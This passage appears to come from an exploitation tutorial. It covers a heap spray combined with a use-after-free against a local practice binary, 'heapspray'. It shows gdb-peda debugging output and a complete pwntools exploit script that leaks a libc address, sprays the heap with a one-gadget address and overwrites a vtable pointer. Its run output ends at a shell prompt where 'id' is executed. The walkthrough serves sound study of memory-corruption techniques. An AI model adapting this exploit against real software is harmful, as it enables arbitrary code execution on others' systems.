gdb-peda$ x/10i 0x0000000000400bf2
   x <_ZN3UAF6targetEv>:	push   rbp
   0x400bf3 <_ZN3UAF6targetEv+1>:	mov    rbp,rsp
   0x400bf6 <_ZN3UAF6targetEv+4>:	sub    rsp,0x10
   0x400bfa <_ZN3UAF6targetEv+8>:	mov    QWORD PTR [rbp-0x8],rdi
   0x400bfe <_ZN3UAF6targetEv+12>:	mov    rax,QWORD PTR [rbp-0x8]
   0x400c02 <_ZN3UAF6targetEv+16>:	add    rax,0x8
   0x400c06 <_ZN3UAF6targetEv+20>:	mov    rdi,rax
   0x400c09 <_ZN3UAF6targetEv+23>:	call   0x400860 <strlen@plt>
   0x400c0e <_ZN3UAF6targetEv+28>:	mov    rdx,rax
   0x400c11 <_ZN3UAF6targetEv+31>:	mov    rax,QWORD PTR [rbp-0x8]
gdb-peda$ c
Continuing.
Breakpoint 2, 0x0000000000400b58 in main ()
gdb-peda$ i r rdi
rdi            0x6150a0	0x6150a0
gdb-peda$ c
Continuing.
UAF!
Input size:
100
Input contents:


Breakpoint 3, 0x0000000000400a26 in heapSpray() ()
gdb-peda$ i r rdi
rdi            0xa303031	0xa303031
gdb-peda$ set $rdi = 100
gdb-peda$ ni

0x0000000000400a2b in heapSpray() ()
gdb-peda$ i r rax
rax            0x6150a0	0x6150a0
gdb-peda$ x/10gx 0x6150a0
0x6150a0:	0x0000000000400d40	0x0000000000000000
0x6150b0:	0x0000000000000000	0x0000000000000000
0x6150c0:	0x0000000000000000	0x0000000000000000
0x6150d0:	0x0000000000000000	0x0000000000000000
0x6150e0:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
Continuing.

Breakpoint 4, 0x0000000000400a41 in heapSpray() ()
gdb-peda$ i r rdi
rdi            0x0	0x0
gdb-peda$ i r rsi
rsi            0x6150a0	0x6150a0
gdb-peda$ ni
AAAABBBB

0x0000000000400a46 in heapSpray() ()
gdb-peda$ x/10gx 0x6150a0
0x6150a0:	0x4242424241414141	0x000000000000000a
0x6150b0:	0x0000000000000000	0x0000000000000000
0x6150c0:	0x0000000000000000	0x0000000000000000
0x6150d0:	0x0000000000000000	0x0000000000000000
0x6150e0:	0x0000000000000000	0x0000000000000000
gdb-peda$

Exploit code

from pwn import *

#context.log_level = 'debug'

startBrk =  0x602000
spraySize = 0x10000
sprayRange = 0x5000000
sprayCount = sprayRange /spraySize
targetOffset = 0x400
target = startBrk + sprayRange + targetOffset

p = process('./heapspray')
#sleep(20)
p.recvuntil("Printf() address : ")
libcAddr = p.recvuntil('\n')
libcAddr = int(libcAddr,16)

libcBase = libcAddr - 0x55800
oneGadget = libcBase + 0xf02a4

log.info('target : '+hex(target))
log.info('libcBase Addr : '+hex(libcBase))
log.info('oneGadget Addr : '+hex(oneGadget))

for i in xrange(sprayCount):
    size = spraySize - 0x10
    p.recvuntil("Input size:\n")
    p.send(p32(size))

    p.recvuntil("Input contents:\n")
    buf = p64(oneGadget) * (size // 8)
    buf += 'A' * (size-len(buf))
    p.send(buf)

    p.recvuntil("Will you keep typing?(No:0):\n")
    if i == sprayCount-1:
        print "Finished Heap spray!\n"
        p.sendline(str(0))
    else:
        p.sendline(str(1))

p.recvuntil("Create vtable\n")
p.send("Hello Heap spray & UAF")

p.recvuntil("Input size:\n")
p.send(p32(160))

p.recvuntil("Input contents:\n")
buf = p64(target) * (160 // 8)
buf += 'C' * (160-len(buf))
p.send(buf)

p.interactive()
lazenca0x0@ubuntu:~/Exploit/11.Heap Spray$ python exploit.py 
[+] Starting local process './heapspray': pid 25405
[*] target : 0x5602400
[*] libcBase Addr : 0x7fc228a49000
[*] oneGadget Addr : 0x7fc228b392a4
Finished Heap spray!

[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

References

<div align="center">
<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- Contents -->
<ins class="adsbygoogle"
     style="display:inline-block;width:728px;height:90px"
     data-ad-client="ca-pub-1411820076951016"
     data-ad-slot="3793401480"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>
</div>